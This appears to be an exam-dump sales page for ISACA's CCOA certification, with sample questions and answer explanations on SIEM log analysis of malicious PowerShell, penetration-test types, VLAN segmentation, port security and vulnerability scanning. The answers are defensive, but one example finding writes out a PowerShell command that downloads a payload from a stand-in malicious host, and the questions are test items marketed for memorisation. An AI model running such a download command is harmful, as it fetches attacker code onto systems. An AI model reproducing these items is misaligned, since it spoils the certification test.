- 139 Actual Exam Questions
- Compatible with all Devices
- Printable Format
- No Download Limits
- 90 Days Free Updates
Get All ISACA Certified Cybersecurity Operations Analyst Exam Questions with Validated Answers
Vendor: | Isaca |
---|---|
Exam Code: | CCOA |
Exam Name: | ISACA Certified Cybersecurity Operations Analyst |
Exam Questions: | 139 |
Last Updated: | October 3, 2025 |
Related Certifications: | ISACA CCOA Certification |
Exam Tags: | Foundational to intermediate level Cybersecurity Specialists and Cybersecurity Analysts |
Looking for a hassle-free way to pass the Isaca ISACA Certified Cybersecurity Operations Analyst exam? DumpsProvider provides the most reliable Dumps Questions and Answers, designed by Isaca certified experts to help you succeed in record time. Available in both PDF and Online Practice Test formats, our study materials cover every major exam topic, making it possible for you to pass potentially within just one day!
DumpsProvider is a leading provider of high-quality exam dumps, trusted by professionals worldwide. Our Isaca CCOA exam questions give you the knowledge and confidence needed to succeed on the first attempt.
Train with our Isaca CCOA exam practice tests, which simulate the actual exam environment. This real-test experience helps you get familiar with the format and timing of the exam, ensuring you're 100% prepared for exam day.
Your success is our commitment! That's why DumpsProvider offers a 100% money-back guarantee. If you don’t pass the Isaca CCOA exam, we’ll refund your payment within 24 hours no questions asked.
Don’t waste time with unreliable exam prep resources. Get started with DumpsProvider’s Isaca CCOA exam dumps today and achieve your certification effortlessly!
SIMULATION
Your enterprise SIEM system is configured to collect and analyze log data from various sources. Beginning at 12:00 AM on December 4, 2024, until 1:00 AM (Absolute), several instances of PowerShell are discovered executing malicious commands and accessing systems outside of their normal working hours.
What is the physical address of the web server that was targeted with malicious PowerShell commands?
To determine the physical address of the targeted web server, follow these step-by-step instructions to analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).
Step 1: Understand the Context
Scenario: Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).
Objective: Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.
Step 2: Identify Relevant Log Sources
Logs to investigate:
PowerShell logs (Event ID 4104) for command execution.
Windows Security Event Logs for login and access attempts.
Network Traffic Logs (firewall or IDS/IPS) to detect connections made by PowerShell.
Web Server Access Logs for any unusual requests.
SIEM Log Sources:
Windows Event Logs (Sysmon/PowerShell)
Firewall Logs
IDS/IPS Alerts
Web Server Logs (IIS, Apache)
Step 3: Use SIEM Filters to Isolate Relevant Events
Time Frame Filter:
Set the time range from 12:00 AM to 1:00 AM on December 4, 2024.
Event ID Filter:
Filter for Event ID 4104 (PowerShell script block logging).
Command Pattern:
Look for suspicious commands like:
Invoke-WebRequest
Invoke-Expression (IEX)
New-Object Net.WebClient
Process Name:
Filter logs where the Process Name is powershell.exe.
Example SIEM Query:
index=windows_logs
| search EventID=4104 ProcessName='powershell.exe'
| where _time between '2024-12-04T00:00:00' and '2024-12-04T01:00:00'
| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress
Step 4: Correlate Events with Network Logs
Once you identify PowerShell events, correlate them with network traffic logs.
Focus on:
Source IP Address: Where the PowerShell commands originated.
Destination IP Address: Targeted web server.
Use the IP address of the web server to trace back the MAC address.
Example Network Log Query:
index=network_logs
| search DestinationIP='<Web_Server_IP>'
| where _time between '2024-12-04T00:00:00' and '2024-12-04T01:00:00'
| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port
Step 5: Analyze the PowerShell Commands
Investigate the nature of the commands:
Data Exfiltration: Using Invoke-WebRequest to send data to external IPs.
Remote Code Execution: Using IEX to run downloaded scripts.
Cross-check commands against known Indicators of Compromise (IOCs).
Step 6: Validate the Web Server's Physical Address
Identify the MAC address corresponding to the targeted web server.
Cross-reference with ARP tables or DHCP logs to confirm the mapping between IP and MAC address.
Example ARP Command on Windows:
arp -a | findstr <Web_Server_IP>
Step 7: Report the Findings
Document the targeted server's IP address and MAC address.
Summarize the malicious activity:
Commands executed
Time and duration
Source and destination IPs
Example Finding:
Web Server IP: 192.168.1.50
Physical (MAC) Address: 00:1A:2B:3C:4D:5E
Time of Attack: 12:30 AM, December 4, 2024
PowerShell Command: Invoke-WebRequest -Uri 'http://malicious.com/payload'
Step 8: Take Immediate Actions
Isolate the affected server.
Block external IPs involved.
Terminate malicious PowerShell processes.
Conduct a forensic analysis of compromised systems.
Step 9: Strengthen Security Post-Incident
Implement PowerShell Logging: Enable detailed script block and module logging.
Enhance Network Monitoring: Set up alerts for unusual PowerShell activities.
User Behavior Analytics (UBA): Detect anomalous login patterns outside working hours.
A penetration tester has been hired and given access to all code, diagrams, and documentation. Which type of testing is being conducted?
The scenario describes a penetration testing approach where the tester is given access to all code, diagrams, and documentation, which is indicative of a Full Knowledge (also known as White Box) testing methodology.
Characteristics:
Comprehensive Access: The tester has complete information about the system, including source code, network architecture, and configurations.
Efficiency: Since the tester knows the environment, they can directly focus on finding vulnerabilities without spending time on reconnaissance.
Simulates Insider Threats: Mimics the perspective of an insider or a trusted attacker with full access.
Purpose: To thoroughly assess the security posture from an informed perspective and identify vulnerabilities efficiently.
Other options analysis:
B . Unlimited scope: Scope typically refers to the range of testing activities, not the knowledge level.
C . No knowledge: This describes Black Box testing where no prior information is given.
D . Partial knowledge: This would be Gray Box testing, where some information is provided.
CCOA Official Review Manual, 1st Edition Reference:
Chapter 8: Penetration Testing Methodologies: Differentiates between full, partial, and no-knowledge testing approaches.
Chapter 9: Security Assessment Techniques: Discusses how white-box testing leverages complete information for in-depth analysis.
Which of the following is the BEST method of logical network segmentation?
VLAN tagging and isolation is the best method for logical network segmentation because:
Network Segmentation: VLANs logically separate network traffic within the same physical infrastructure.
Access Control: Allows for granular control over who can communicate with which VLAN.
Traffic Isolation: Reduces the risk of lateral movement by attackers within the network.
Efficiency: More practical and scalable than physical separation.
Incorrect Options:
A . Encryption and tunneling: Protects data but does not logically segment the network.
B . IP filtering and ACLs: Control traffic flow but do not create isolated network segments.
D . Physical separation: Achieves isolation but is less flexible and cost-effective compared to VLANs.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 5, Section 'Network Segmentation Techniques,' Subsection 'VLAN Implementation' - VLANs are the most efficient way to achieve logical separation and isolation.
How can port security protect systems on a segmented network?
Port security is a network control technique used primarily to prevent unauthorized access to a network by:
MAC Address Filtering: Restricts which devices can connect by allowing only known MAC addresses.
Port Lockdown: Disables a port if an untrusted device attempts to connect.
Mitigating MAC Flooding: Helps prevent attackers from overwhelming the switch with spoofed MAC addresses.
Incorrect Options:
A . Enforcing encryption: Port security does not directly handle encryption.
C . Establishing TLS handshake: TLS is related to secure communications, not port-level access control.
D . Requiring multi-factor authentication: Port security works at the network level, not the authentication level.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 5, Section 'Network Security,' Subsection 'Port Security' - Port security helps protect network segments by controlling device connections based on MAC address.
Which of the following is the MOST effective approach for tracking vulnerabilities in an organization's systems and applications?
The most effective approach to tracking vulnerabilities is to regularly perform vulnerability scans and assessments because:
Proactive Identification: Regular scanning detects newly introduced vulnerabilities from software updates or configuration changes.
Automated Monitoring: Modern scanning tools (like Nessus or OpenVAS) can automatically identify vulnerabilities in systems and applications.
Assessment Reports: Provide prioritized lists of discovered vulnerabilities, helping IT teams address the most critical issues first.
Compliance and Risk Management: Routine scans are essential for maintaining security baselines and compliance with standards (like PCI-DSS or ISO 27001).
Other options analysis:
A . Wait for external reports: Reactive and risky, as vulnerabilities might remain unpatched.
B . Rely on employee reporting: Inconsistent and unlikely to cover all vulnerabilities.
D . Track only public vulnerabilities: Ignores zero-day and privately disclosed issues.
CCOA Official Review Manual, 1st Edition Reference:
Chapter 6: Vulnerability Management: Emphasizes continuous scanning as a critical part of risk mitigation.
Chapter 9: Security Monitoring Practices: Discusses automated scanning and vulnerability tracking.
Security & Privacy
Satisfied Customers
Committed Service
Money Back Guranteed